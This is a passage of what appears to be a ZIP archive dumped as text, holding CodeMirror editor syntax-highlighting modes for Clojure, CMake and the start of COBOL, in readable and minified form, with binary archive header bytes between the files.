"recur", "set!", "throw", "try",
"var"];
  var coreSymbols = ["*", "*'", "*1",
"*2", "*3", "*agent*",
      "*allow-unresolved-vars*", "*assert*",
"*clojure-version*",
      "*command-line-args*", "*compile-files*",
"*compile-path*",
      "*compiler-options*", "*data-readers*",
"*default-data-reader-fn*", "*e",
      "*err*", "*file*",
"*flush-on-newline*", "*fn-loader*", "*in*",
      "*math-context*", "*ns*", "*out*",
"*print-dup*", "*print-length*",
      "*print-level*", "*print-meta*",
"*print-namespace-maps*",
      "*print-readably*", "*read-eval*",
"*reader-resolver*", "*source-path*",
      "*suppress-read*", "*unchecked-math*",
"*use-context-classloader*",
      "*verbose-defrecords*", "*warn-on-reflection*",
"+", "+'", "-", "-'",
      "->", "->>",
"->ArrayChunk", "->Eduction",
"->Vec", "->VecNode",
      "->VecSeq", "-cache-protocol-fn",
"-reset-methods", "..", "/",
"<", "<=",
      "=", "==", ">", ">=",
"EMPTY-NODE", "Inst",
"StackTraceElement->vec",
      "Throwable->map", "accessor",
"aclone", "add-classpath", "add-watch",
      "agent", "agent-error", "agent-errors",
"aget", "alength", "alias",
      "all-ns", "alter", "alter-meta!",
"alter-var-root", "amap", "ancestors",
      "and", "any?", "apply",
"areduce", "array-map", "as->",
"aset",
      "aset-boolean", "aset-byte",
"aset-char", "aset-double", "aset-float",
      "aset-int", "aset-long", "aset-short",
"assert", "assoc", "assoc!",
      "assoc-in", "associative?", "atom",
"await", "await-for", "await1",
      "bases", "bean", "bigdec",
"bigint", "biginteger", "binding",
"bit-and",
      "bit-and-not", "bit-clear", "bit-flip",
"bit-not", "bit-or", "bit-set",
      "bit-shift-left", "bit-shift-right",
"bit-test", "bit-xor", "boolean",
      "boolean-array", "boolean?",
"booleans", "bound-fn", "bound-fn*",
      "bound?", "bounded-count", "butlast",
"byte", "byte-array", "bytes",
      "bytes?", "case", "cast",
"cat", "char", "char-array",
      "char-escape-string", "char-name-string",
"char?", "chars", "chunk",
      "chunk-append", "chunk-buffer",
"chunk-cons", "chunk-first", "chunk-next",
      "chunk-rest", "chunked-seq?", "class",
"class?", "clear-agent-errors",
      "clojure-version", "coll?", "comment",
"commute", "comp", "comparator",
      "compare", "compare-and-set!",
"compile", "complement", "completing",
      "concat", "cond", "cond->",
"cond->>", "condp", "conj",
"conj!", "cons",
      "constantly", "construct-proxy",
"contains?", "count", "counted?",
      "create-ns", "create-struct", "cycle",
"dec", "dec'", "decimal?",
      "declare", "dedupe",
"default-data-readers", "definline",
"definterface",
      "defmacro", "defmethod", "defmulti",
"defn", "defn-", "defonce",
      "defprotocol", "defrecord",
"defstruct", "deftype", "delay",
"delay?",
      "deliver", "denominator", "deref",
"derive", "descendants", "destructure",
      "disj", "disj!", "dissoc",
"dissoc!", "distinct", "distinct?",
"doall",
      "dorun", "doseq", "dosync",
"dotimes", "doto", "double",
"double-array",
      "double?", "doubles", "drop",
"drop-last", "drop-while", "eduction",
      "empty", "empty?", "ensure",
"ensure-reduced", "enumeration-seq",
      "error-handler", "error-mode", "eval",
"even?", "every-pred", "every?",
      "ex-data", "ex-info", "extend",
"extend-protocol", "extend-type",
      "extenders", "extends?", "false?",
"ffirst", "file-seq", "filter",
      "filterv", "find", "find-keyword",
"find-ns", "find-protocol-impl",
      "find-protocol-method", "find-var",
"first", "flatten", "float",
      "float-array", "float?", "floats",
"flush", "fn", "fn?", "fnext",
"fnil",
      "for", "force", "format",
"frequencies", "future", "future-call",
      "future-cancel", "future-cancelled?",
"future-done?", "future?",
      "gen-class", "gen-interface", "gensym",
"get", "get-in", "get-method",
      "get-proxy-class", "get-thread-bindings",
"get-validator", "group-by",
      "halt-when", "hash", "hash-combine",
"hash-map", "hash-ordered-coll",
      "hash-set", "hash-unordered-coll",
"ident?", "identical?", "identity",
      "if-let", "if-not", "if-some",
"ifn?", "import", "in-ns", "inc",
"inc'",
      "indexed?", "init-proxy", "inst-ms",
"inst-ms*", "inst?", "instance?",
      "int", "int-array", "int?",
"integer?", "interleave", "intern",
      "interpose", "into", "into-array",
"ints", "io!", "isa?", "iterate",
      "iterator-seq", "juxt", "keep",
"keep-indexed", "key", "keys",
"keyword",
      "keyword?", "last", "lazy-cat",
"lazy-seq", "let", "letfn",
"line-seq",
      "list", "list*", "list?",
"load", "load-file", "load-reader",
      "load-string", "loaded-libs",
"locking", "long", "long-array",
"longs",
      "loop", "macroexpand", "macroexpand-1",
"make-array", "make-hierarchy",
      "map", "map-entry?", "map-indexed",
"map?", "mapcat", "mapv", "max",
      "max-key", "memfn", "memoize",
"merge", "merge-with", "meta",
      "method-sig", "methods", "min",
"min-key", "mix-collection-hash", "mod",
      "munge", "name", "namespace",
"namespace-munge", "nat-int?", "neg-int?",
      "neg?", "newline", "next",
"nfirst", "nil?", "nnext", "not",
"not-any?",
      "not-empty", "not-every?", "not=",
"ns", "ns-aliases", "ns-imports",
      "ns-interns", "ns-map", "ns-name",
"ns-publics", "ns-refers",
      "ns-resolve", "ns-unalias", "ns-unmap",
"nth", "nthnext", "nthrest",
      "num", "number?", "numerator",
"object-array", "odd?", "or",
"parents",
      "partial", "partition",
"partition-all", "partition-by", "pcalls",
"peek",
      "persistent!", "pmap", "pop",
"pop!", "pop-thread-bindings", "pos-int?",
      "pos?", "pr", "pr-str",
"prefer-method", "prefers",
      "primitives-classnames", "print",
"print-ctor", "print-dup",
      "print-method", "print-simple",
"print-str", "printf", "println",
      "println-str", "prn", "prn-str",
"promise", "proxy",
      "proxy-call-with-super", "proxy-mappings",
"proxy-name", "proxy-super",
      "push-thread-bindings", "pvalues",
"qualified-ident?",
      "qualified-keyword?", "qualified-symbol?",
"quot", "rand", "rand-int",
      "rand-nth", "random-sample", "range",
"ratio?", "rational?",
      "rationalize", "re-find", "re-groups",
"re-matcher", "re-matches",
      "re-pattern", "re-seq", "read",
"read-line", "read-string",
      "reader-conditional", "reader-conditional?",
"realized?", "record?",
      "reduce", "reduce-kv", "reduced",
"reduced?", "reductions", "ref",
      "ref-history-count", "ref-max-history",
"ref-min-history", "ref-set",
      "refer", "refer-clojure", "reify",
"release-pending-sends", "rem",
      "remove", "remove-all-methods",
"remove-method", "remove-ns",
      "remove-watch", "repeat", "repeatedly",
"replace", "replicate", "require",
      "reset!", "reset-meta!", "reset-vals!",
"resolve", "rest",
      "restart-agent", "resultset-seq",
"reverse", "reversible?", "rseq",
      "rsubseq", "run!", "satisfies?",
"second", "select-keys", "send",
      "send-off", "send-via", "seq",
"seq?", "seqable?", "seque",
"sequence",
      "sequential?", "set",
"set-agent-send-executor!",
      "set-agent-send-off-executor!",
"set-error-handler!", "set-error-mode!",
      "set-validator!", "set?", "short",
"short-array", "shorts", "shuffle",
      "shutdown-agents", "simple-ident?",
"simple-keyword?", "simple-symbol?",
      "slurp", "some", "some->",
"some->>", "some-fn", "some?",
"sort",
      "sort-by", "sorted-map",
"sorted-map-by", "sorted-set",
"sorted-set-by",
      "sorted?", "special-symbol?", "spit",
"split-at", "split-with", "str",
      "string?", "struct", "struct-map",
"subs", "subseq", "subvec",
"supers",
      "swap!", "swap-vals!", "symbol",
"symbol?", "sync", "tagged-literal",
      "tagged-literal?", "take", "take-last",
"take-nth", "take-while", "test",
      "the-ns", "thread-bound?", "time",
"to-array", "to-array-2d",
      "trampoline", "transduce", "transient",
"tree-seq", "true?", "type",
      "unchecked-add", "unchecked-add-int",
"unchecked-byte", "unchecked-char",
      "unchecked-dec", "unchecked-dec-int",
"unchecked-divide-int",
      "unchecked-double", "unchecked-float",
"unchecked-inc",
      "unchecked-inc-int", "unchecked-int",
"unchecked-long",
      "unchecked-multiply", "unchecked-multiply-int",
"unchecked-negate",
      "unchecked-negate-int",
"unchecked-remainder-int", "unchecked-short",
      "unchecked-subtract", "unchecked-subtract-int",
"underive", "unquote",
      "unquote-splicing", "unreduced",
"unsigned-bit-shift-right", "update",
      "update-in", "update-proxy", "uri?",
"use", "uuid?", "val", "vals",
      "var-get", "var-set", "var?",
"vary-meta", "vec", "vector",
"vector-of",
      "vector?", "volatile!", "volatile?",
"vreset!", "vswap!", "when",
      "when-first", "when-let", "when-not",
"when-some", "while",
      "with-bindings", "with-bindings*",
"with-in-str", "with-loading-context",
      "with-local-vars", "with-meta",
"with-open", "with-out-str",
      "with-precision", "with-redefs",
"with-redefs-fn", "xml-seq", "zero?",
      "zipmap"];
  var haveBodyParameter = [
      "->", "->>", "as->",
"binding", "bound-fn", "case",
"catch", "comment",
      "cond", "cond->", "cond->>",
"condp", "def", "definterface",
"defmethod",
      "defn", "defmacro", "defprotocol",
"defrecord", "defstruct", "deftype",
      "do", "doseq", "dotimes",
"doto", "extend", "extend-protocol",
      "extend-type", "fn", "for",
"future", "if", "if-let", "if-not",
"if-some",
      "let", "letfn", "locking",
"loop", "ns", "proxy", "reify",
"struct-map",
      "some->", "some->>", "try",
"when", "when-first", "when-let",
"when-not",
      "when-some", "while", "with-bindings",
"with-bindings*", "with-in-str",
      "with-loading-context", "with-local-vars",
"with-meta", "with-open",
      "with-out-str", "with-precision",
"with-redefs", "with-redefs-fn"];

  CodeMirror.registerHelper("hintWords", "clojure",
    [].concat(atoms, specialForms, coreSymbols));

  var atom = createLookupMap(atoms);
  var specialForm = createLookupMap(specialForms);
  var coreSymbol = createLookupMap(coreSymbols);
  var hasBodyParameter = createLookupMap(haveBodyParameter);
  var delimiter = /^(?:[\\\[\]\s"(),;@^`{}~]|$)/;
  var numberLiteral =
/^(?:[+\-]?\d+(?:(?:N|(?:[eE][+\-]?\d+))|(?:\.?\d*(?:M|(?:[eE][+\-]?\d+))?)|\/\d+|[xX][0-9a-fA-F]+|r[0-9a-zA-Z]+)?(?=[\\\[\]\s"#'(),;@^`{}~]|$))/;
  var characterLiteral =
/^(?:\\(?:backspace|formfeed|newline|return|space|tab|o[0-7]{3}|u[0-9A-Fa-f]{4}|x[0-9A-Fa-f]{4}|.)?(?=[\\\[\]\s"(),;@^`{}~]|$))/;

  // simple-namespace :=
/^[^\\\/\[\]\d\s"#'(),;@^`{}~][^\\\[\]\s"(),;@^`{}~]*/
  // simple-symbol    :=
/^(?:\/|[^\\\/\[\]\d\s"#'(),;@^`{}~][^\\\[\]\s"(),;@^`{}~]*)/
  // qualified-symbol :=
(<simple-namespace>(<.><simple-namespace>)*</>)?<simple-symbol>
  var qualifiedSymbol =
/^(?:(?:[^\\\/\[\]\d\s"#'(),;@^`{}~][^\\\[\]\s"(),;@^`{}~]*(?:\.[^\\\/\[\]\d\s"#'(),;@^`{}~][^\\\[\]\s"(),;@^`{}~]*)*\/)?(?:\/|[^\\\/\[\]\d\s"#'(),;@^`{}~][^\\\[\]\s"(),;@^`{}~]*)*(?=[\\\[\]\s"(),;@^`{}~]|$))/;

  function base(stream, state) {
    if (stream.eatSpace() || stream.eat(",")) return
["space", null];
    if (stream.match(numberLiteral)) return [null, "number"];
    if (stream.match(characterLiteral)) return [null,
"string-2"];
    if (stream.eat(/^"/)) return (state.tokenize = inString)(stream,
state);
    if (stream.eat(/^[(\[{]/)) return ["open",
"bracket"];
    if (stream.eat(/^[)\]}]/)) return ["close",
"bracket"];
    if (stream.eat(/^;/)) {stream.skipToEnd(); return ["space",
"comment"];}
    if (stream.eat(/^[#'@^`~]/)) return [null, "meta"];

    var matches = stream.match(qualifiedSymbol);
    var symbol = matches && matches[0];

    if (!symbol) {
      // advance stream by at least one character so we don't get
stuck.
      stream.next();
      stream.eatWhile(function (c) {return !is(c, delimiter);});
      return [null, "error"];
    }

    if (symbol === "comment" && state.lastToken ===
"(")
      return (state.tokenize = inComment)(stream, state);
    if (is(symbol, atom) || symbol.charAt(0) === ":") return
["symbol", "atom"];
    if (is(symbol, specialForm) || is(symbol, coreSymbol)) return
["symbol", "keyword"];
    if (state.lastToken === "(") return ["symbol",
"builtin"]; // other operator

    return ["symbol", "variable"];
  }

  function inString(stream, state) {
    var escaped = false, next;

    while (next = stream.next()) {
      if (next === "\"" && !escaped) {state.tokenize
= base; break;}
      escaped = !escaped && next === "\\";
    }

    return [null, "string"];
  }

  function inComment(stream, state) {
    var parenthesisCount = 1;
    var next;

    while (next = stream.next()) {
      if (next === ")") parenthesisCount--;
      if (next === "(") parenthesisCount++;
      if (parenthesisCount === 0) {
        stream.backUp(1);
        state.tokenize = base;
        break;
      }
    }

    return ["space", "comment"];
  }

  function createLookupMap(words) {
    var obj = {};

    for (var i = 0; i < words.length; ++i) obj[words[i]] = true;

    return obj;
  }

  function is(value, test) {
    if (test instanceof RegExp) return test.test(value);
    if (test instanceof Object) return test.propertyIsEnumerable(value);
  }

  return {
    startState: function () {
      return {
        ctx: {prev: null, start: 0, indentTo: 0},
        lastToken: null,
        tokenize: base
      };
    },

    token: function (stream, state) {
      if (stream.sol() && (typeof state.ctx.indentTo !==
"number"))
        state.ctx.indentTo = state.ctx.start + 1;

      var typeStylePair = state.tokenize(stream, state);
      var type = typeStylePair[0];
      var style = typeStylePair[1];
      var current = stream.current();

      if (type !== "space") {
        if (state.lastToken === "(" && state.ctx.indentTo
=== null) {
          if (type === "symbol" && is(current,
hasBodyParameter))
            state.ctx.indentTo = state.ctx.start + options.indentUnit;
          else state.ctx.indentTo = "next";
        } else if (state.ctx.indentTo === "next") {
          state.ctx.indentTo = stream.column();
        }

        state.lastToken = current;
      }

      if (type === "open")
        state.ctx = {prev: state.ctx, start: stream.column(), indentTo:
null};
      else if (type === "close") state.ctx = state.ctx.prev ||
state.ctx;

      return style;
    },

    indent: function (state) {
      var i = state.ctx.indentTo;

      return (typeof i === "number") ?
        i :
        state.ctx.start + 1;
    },

    closeBrackets: {pairs: "()[]{}\"\""},
    lineComment: ";;"
  };
});

CodeMirror.defineMIME("text/x-clojure", "clojure");
CodeMirror.defineMIME("text/x-clojurescript",
"clojure");
CodeMirror.defineMIME("application/edn", "clojure");

});
PKD��[�A��+�+&codemirror/mode/clojure/clojure.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";a.defineMode("clojure",(function(b){function
c(a,b){if(a.eatSpace()||a.eat(","))return["space",null];if(a.match(q))return[null,"number"];if(a.match(r))return[null,"string-2"];if(a.eat(/^"/))return(b.tokenize=d)(a,b);if(a.eat(/^[(\[{]/))return["open","bracket"];if(a.eat(/^[)\]}]/))return["close","bracket"];if(a.eat(/^;/))return
a.skipToEnd(),["space","comment"];if(a.eat(/^[#'@^`~]/))return[null,"meta"];var
c=a.match(s),f=c&&c[0];return
f?"comment"===f&&"("===b.lastToken?(b.tokenize=e)(a,b):g(f,l)||":"===f.charAt(0)?["symbol","atom"]:g(f,m)||g(f,n)?["symbol","keyword"]:"("===b.lastToken?["symbol","builtin"]:["symbol","variable"]:(a.next(),a.eatWhile((function(a){return!g(a,p)})),[null,"error"])}function
d(a,b){for(var
d,e=!1;d=a.next();){if('"'===d&&!e){b.tokenize=c;break}e=!e&&"\\"===d}return[null,"string"]}function
e(a,b){for(var
d,e=1;d=a.next();)if(")"===d&&e--,"("===d&&e++,0===e){a.backUp(1),b.tokenize=c;break}return["space","comment"]}function
f(a){for(var b={},c=0;c<a.length;++c)b[a[c]]=!0;return b}function
g(a,b){return b instanceof RegExp?b.test(a):b instanceof
Object?b.propertyIsEnumerable(a):void 0}var
h=["false","nil","true"],i=[".","catch","def","do","if","monitor-enter","monitor-exit","new","quote","recur","set!","throw","try","var"],j=["*","*'","*1","*2","*3","*agent*","*allow-unresolved-vars*","*assert*","*clojure-version*","*command-line-args*","*compile-files*","*compile-path*","*compiler-options*","*data-readers*","*default-data-reader-fn*","*e","*err*","*file*","*flush-on-newline*","*fn-loader*","*in*","*math-context*","*ns*","*out*","*print-dup*","*print-length*","*print-level*","*print-meta*","*print-namespace-maps*","*print-readably*","*read-eval*","*reader-resolver*","*source-path*","*suppress-read*","*unchecked-math*","*use-context-classloader*","*verbose-defrecords*","*warn-on-reflection*","+","+'","-","-'","->","->>","->ArrayChunk","->Eduction","->Vec","->VecNode","->VecSeq","-cache-protocol-fn","-reset-methods","..","/","<","<=","=","==",">",">=","EMPTY-NODE","Inst","StackTraceElement->vec","Throwable->map","accessor","aclone","add-classpath","add-watch","agent","agent-error","agent-errors","aget","alength","alias","all-ns","alter","alter-meta!","alter-var-root","amap","ancestors","and","any?","apply","areduce","array-map","as->","aset","aset-boolean","aset-byte","aset-char","aset-double","aset-float","aset-int","aset-long","aset-short","assert","assoc","assoc!","assoc-in","associative?","atom","await","await-for","await1","bases","bean","bigdec","bigint","biginteger","binding","bit-and","bit-and-not","bit-clear","bit-flip","bit-not","bit-or","bit-set","bit-shift-left","bit-shift-right","bit-test","bit-xor","boolean","boolean-array","boolean?","booleans","bound-fn","bound-fn*","bound?","bounded-count","butlast","byte","byte-array","bytes","bytes?","case","cast","cat","char","char-array","char-escape-string","char-name-string","char?","chars","chunk","chunk-append","chunk-buffer","chunk-cons","chunk-first","chunk-next","chunk-rest","chunked-seq?","class","class?","clear-agent-errors","clojure-version","coll?","comment","commute","comp","comparator","compare","compare-and-set!","compile","complement","completing","concat","cond","cond->","cond->>","condp","conj","conj!","cons","constantly","construct-proxy","contains?","count","counted?","create-ns","create-struct","cycle","dec","dec'","decimal?","declare","dedupe","default-data-readers","definline","definterface","defmacro","defmethod","defmulti","defn","defn-","defonce","defprotocol","defrecord","defstruct","deftype","delay","delay?","deliver","denominator","deref","derive","descendants","destructure","disj","disj!","dissoc","dissoc!","distinct","distinct?","doall","dorun","doseq","dosync","dotimes","doto","double","double-array","double?","doubles","drop","drop-last","drop-while","eduction","empty","empty?","ensure","ensure-reduced","enumeration-seq","error-handler","error-mode","eval","even?","every-pred","every?","ex-data","ex-info","extend","extend-protocol","extend-type","extenders","extends?","false?","ffirst","file-seq","filter","filterv","find","find-keyword","find-ns","find-protocol-impl","find-protocol-method","find-var","first","flatten","float","float-array","float?","floats","flush","fn","fn?","fnext","fnil","for","force","format","frequencies","future","future-call","future-cancel","future-cancelled?","future-done?","future?","gen-class","gen-interface","gensym","get","get-in","get-method","get-proxy-class","get-thread-bindings","get-validator","group-by","halt-when","hash","hash-combine","hash-map","hash-ordered-coll","hash-set","hash-unordered-coll","ident?","identical?","identity","if-let","if-not","if-some","ifn?","import","in-ns","inc","inc'","indexed?","init-proxy","inst-ms","inst-ms*","inst?","instance?","int","int-array","int?","integer?","interleave","intern","interpose","into","into-array","ints","io!","isa?","iterate","iterator-seq","juxt","keep","keep-indexed","key","keys","keyword","keyword?","last","lazy-cat","lazy-seq","let","letfn","line-seq","list","list*","list?","load","load-file","load-reader","load-string","loaded-libs","locking","long","long-array","longs","loop","macroexpand","macroexpand-1","make-array","make-hierarchy","map","map-entry?","map-indexed","map?","mapcat","mapv","max","max-key","memfn","memoize","merge","merge-with","meta","method-sig","methods","min","min-key","mix-collection-hash","mod","munge","name","namespace","namespace-munge","nat-int?","neg-int?","neg?","newline","next","nfirst","nil?","nnext","not","not-any?","not-empty","not-every?","not=","ns","ns-aliases","ns-imports","ns-interns","ns-map","ns-name","ns-publics","ns-refers","ns-resolve","ns-unalias","ns-unmap","nth","nthnext","nthrest","num","number?","numerator","object-array","odd?","or","parents","partial","partition","partition-all","partition-by","pcalls","peek","persistent!","pmap","pop","pop!","pop-thread-bindings","pos-int?","pos?","pr","pr-str","prefer-method","prefers","primitives-classnames","print","print-ctor","print-dup","print-method","print-simple","print-str","printf","println","println-str","prn","prn-str","promise","proxy","proxy-call-with-super","proxy-mappings","proxy-name","proxy-super","push-thread-bindings","pvalues","qualified-ident?","qualified-keyword?","qualified-symbol?","quot","rand","rand-int","rand-nth","random-sample","range","ratio?","rational?","rationalize","re-find","re-groups","re-matcher","re-matches","re-pattern","re-seq","read","read-line","read-string","reader-conditional","reader-conditional?","realized?","record?","reduce","reduce-kv","reduced","reduced?","reductions","ref","ref-history-count","ref-max-history","ref-min-history","ref-set","refer","refer-clojure","reify","release-pending-sends","rem","remove","remove-all-methods","remove-method","remove-ns","remove-watch","repeat","repeatedly","replace","replicate","require","reset!","reset-meta!","reset-vals!","resolve","rest","restart-agent","resultset-seq","reverse","reversible?","rseq","rsubseq","run!","satisfies?","second","select-keys","send","send-off","send-via","seq","seq?","seqable?","seque","sequence","sequential?","set","set-agent-send-executor!","set-agent-send-off-executor!","set-error-handler!","set-error-mode!","set-validator!","set?","short","short-array","shorts","shuffle","shutdown-agents","simple-ident?","simple-keyword?","simple-symbol?","slurp","some","some->","some->>","some-fn","some?","sort","sort-by","sorted-map","sorted-map-by","sorted-set","sorted-set-by","sorted?","special-symbol?","spit","split-at","split-with","str","string?","struct","struct-map","subs","subseq","subvec","supers","swap!","swap-vals!","symbol","symbol?","sync","tagged-literal","tagged-literal?","take","take-last","take-nth","take-while","test","the-ns","thread-bound?","time","to-array","to-array-2d","trampoline","transduce","transient","tree-seq","true?","type","unchecked-add","unchecked-add-int","unchecked-byte","unchecked-char","unchecked-dec","unchecked-dec-int","unchecked-divide-int","unchecked-double","unchecked-float","unchecked-inc","unchecked-inc-int","unchecked-int","unchecked-long","unchecked-multiply","unchecked-multiply-int","unchecked-negate","unchecked-negate-int","unchecked-remainder-int","unchecked-short","unchecked-subtract","unchecked-subtract-int","underive","unquote","unquote-splicing","unreduced","unsigned-bit-shift-right","update","update-in","update-proxy","uri?","use","uuid?","val","vals","var-get","var-set","var?","vary-meta","vec","vector","vector-of","vector?","volatile!","volatile?","vreset!","vswap!","when","when-first","when-let","when-not","when-some","while","with-bindings","with-bindings*","with-in-str","with-loading-context","with-local-vars","with-meta","with-open","with-out-str","with-precision","with-redefs","with-redefs-fn","xml-seq","zero?","zipmap"],k=["->","->>","as->","binding","bound-fn","case","catch","comment","cond","cond->","cond->>","condp","def","definterface","defmethod","defn","defmacro","defprotocol","defrecord","defstruct","deftype","do","doseq","dotimes","doto","extend","extend-protocol","extend-type","fn","for","future","if","if-let","if-not","if-some","let","letfn","locking","loop","ns","proxy","reify","struct-map","some->","some->>","try","when","when-first","when-let","when-not","when-some","while","with-bindings","with-bindings*","with-in-str","with-loading-context","with-local-vars","with-meta","with-open","with-out-str","with-precision","with-redefs","with-redefs-fn"];a.registerHelper("hintWords","clojure",[].concat(h,i,j));var
l=f(h),m=f(i),n=f(j),o=f(k),p=/^(?:[\\\[\]\s"(),;@^`{}~]|$)/,q=/^(?:[+\-]?\d+(?:(?:N|(?:[eE][+\-]?\d+))|(?:\.?\d*(?:M|(?:[eE][+\-]?\d+))?)|\/\d+|[xX][0-9a-fA-F]+|r[0-9a-zA-Z]+)?(?=[\\\[\]\s"#'(),;@^`{}~]|$))/,r=/^(?:\\(?:backspace|formfeed|newline|return|space|tab|o[0-7]{3}|u[0-9A-Fa-f]{4}|x[0-9A-Fa-f]{4}|.)?(?=[\\\[\]\s"(),;@^`{}~]|$))/,s=/^(?:(?:[^\\\/\[\]\d\s"#'(),;@^`{}~][^\\\[\]\s"(),;@^`{}~]*(?:\.[^\\\/\[\]\d\s"#'(),;@^`{}~][^\\\[\]\s"(),;@^`{}~]*)*\/)?(?:\/|[^\\\/\[\]\d\s"#'(),;@^`{}~][^\\\[\]\s"(),;@^`{}~]*)*(?=[\\\[\]\s"(),;@^`{}~]|$))/;return{startState:function(){return{ctx:{prev:null,start:0,indentTo:0},lastToken:null,tokenize:c}},token:function(a,c){a.sol()&&"number"!=typeof
c.ctx.indentTo&&(c.ctx.indentTo=c.ctx.start+1);var
d=c.tokenize(a,c),e=d[0],f=d[1],h=a.current();return"space"!==e&&("("===c.lastToken&&null===c.ctx.indentTo?"symbol"===e&&g(h,o)?c.ctx.indentTo=c.ctx.start+b.indentUnit:c.ctx.indentTo="next":"next"===c.ctx.indentTo&&(c.ctx.indentTo=a.column()),c.lastToken=h),"open"===e?c.ctx={prev:c.ctx,start:a.column(),indentTo:null}:"close"===e&&(c.ctx=c.ctx.prev||c.ctx),f},indent:function(a){var
b=a.ctx.indentTo;return"number"==typeof
b?b:a.ctx.start+1},closeBrackets:{pairs:'()[]{}""'},lineComment:";;"}})),a.defineMIME("text/x-clojure","clojure"),a.defineMIME("text/x-clojurescript","clojure"),a.defineMIME("application/edn","clojure")}));PKE��[�xQ�)
)
codemirror/mode/cmake/cmake.jsnu�[���// CodeMirror, copyright
(c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object")
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd)
    define(["../../lib/codemirror"], mod);
  else
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMode("cmake", function () {
  var variable_regex = /({)?[a-zA-Z0-9_]+(})?/;

  function tokenString(stream, state) {
    var current, prev, found_var = false;
    while (!stream.eol() && (current = stream.next()) !=
state.pending) {
      if (current === '$' && prev != '\\'
&& state.pending == '"') {
        found_var = true;
        break;
      }
      prev = current;
    }
    if (found_var) {
      stream.backUp(1);
    }
    if (current == state.pending) {
      state.continueString = false;
    } else {
      state.continueString = true;
    }
    return "string";
  }

  function tokenize(stream, state) {
    var ch = stream.next();

    // Have we found a variable?
    if (ch === '$') {
      if (stream.match(variable_regex)) {
        return 'variable-2';
      }
      return 'variable';
    }
    // Should we still be looking for the end of a string?
    if (state.continueString) {
      // If so, go through the loop again
      stream.backUp(1);
      return tokenString(stream, state);
    }
    // Do we just have a function on our hands?
    // In 'cmake_minimum_required (VERSION 2.8.8)',
'cmake_minimum_required' is matched
    if (stream.match(/(\s+)?\w+\(/) || stream.match(/(\s+)?\w+\ \(/)) {
      stream.backUp(1);
      return 'def';
    }
    if (ch == "#") {
      stream.skipToEnd();
      return "comment";
    }
    // Have we found a string?
    if (ch == "'" || ch == '"') {
      // Store the type (single or double)
      state.pending = ch;
      // Perform the looping function to find the end
      return tokenString(stream, state);
    }
    if (ch == '(' || ch == ')') {
      return 'bracket';
    }
    if (ch.match(/[0-9]/)) {
      return 'number';
    }
    stream.eatWhile(/[\w-]/);
    return null;
  }
  return {
    startState: function () {
      var state = {};
      state.inDefinition = false;
      state.inInclude = false;
      state.continueString = false;
      state.pending = false;
      return state;
    },
    token: function (stream, state) {
      if (stream.eatSpace()) return null;
      return tokenize(stream, state);
    }
  };
});

CodeMirror.defineMIME("text/x-cmake", "cmake");

});
PKE��[)e/&"codemirror/mode/cmake/cmake.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";a.defineMode("cmake",(function(){function
a(a,b){for(var
c,d,e=!1;!a.eol()&&(c=a.next())!=b.pending;){if("$"===c&&"\\"!=d&&'"'==b.pending){e=!0;break}d=c}return
e&&a.backUp(1),c==b.pending?b.continueString=!1:b.continueString=!0,"string"}function
b(b,d){var
e=b.next();return"$"===e?b.match(c)?"variable-2":"variable":d.continueString?(b.backUp(1),a(b,d)):b.match(/(\s+)?\w+\(/)||b.match(/(\s+)?\w+\
\(/)?(b.backUp(1),"def"):"#"==e?(b.skipToEnd(),"comment"):"'"==e||'"'==e?(d.pending=e,a(b,d)):"("==e||")"==e?"bracket":e.match(/[0-9]/)?"number":(b.eatWhile(/[\w-]/),null)}var
c=/({)?[a-zA-Z0-9_]+(})?/;return{startState:function(){var a={};return
a.inDefinition=!1,a.inInclude=!1,a.continueString=!1,a.pending=!1,a},token:function(a,c){return
a.eatSpace()?null:b(a,c)}}})),a.defineMIME("text/x-cmake","cmake")}));PKE��[�$�}1(1(codemirror/mode/cobol/cobol.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

/**
 * Author: Gautam Mehta
 * Branched from CodeMirror's Scheme mode
 */
(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMode("cobol", function () {
  var BUILTIN = "builtin", COMMENT = "comment", STRING
= "string",
      ATOM = "atom", NUMBER = "number", KEYWORD =
"keyword", MODTAG = "header",
      COBOLLINENUM = "def", PERIOD = "link";
  function makeKeywords(str) {
    var obj = {}, words = str.split(" ");
    for (var i = 0; i < words.length; ++i) obj[words[i]] = true;
    return obj;
  }
  var atoms = makeKeywords("TRUE FALSE ZEROES ZEROS ZERO SPACES SPACE
LOW-VALUE LOW-VALUES ");
  var keywords = makeKeywords(
      "ACCEPT ACCESS ACQUIRE ADD ADDRESS " +
      "ADVANCING AFTER ALIAS ALL ALPHABET " +
      "ALPHABETIC ALPHABETIC-LOWER ALPHABETIC-UPPER ALPHANUMERIC
ALPHANUMERIC-EDITED " +
      "ALSO ALTER ALTERNATE AND ANY " +
      "ARE AREA AREAS ARITHMETIC ASCENDING " +
      "ASSIGN AT ATTRIBUTE AUTHOR AUTO " +
      "AUTO-SKIP AUTOMATIC B-AND B-EXOR B-LESS " +
      "B-NOT B-OR BACKGROUND-COLOR BACKGROUND-COLOUR BEEP " +
      "BEFORE BELL BINARY BIT BITS " +
      "BLANK BLINK BLOCK BOOLEAN BOTTOM " +
      "BY CALL CANCEL CD CF " +
      "CH CHARACTER CHARACTERS CLASS CLOCK-UNITS " +
      "CLOSE COBOL CODE CODE-SET COL " +
      "COLLATING COLUMN COMMA COMMIT COMMITMENT " +
      "COMMON COMMUNICATION COMP COMP-0 COMP-1 " +
      "COMP-2 COMP-3 COMP-4 COMP-5 COMP-6 " +
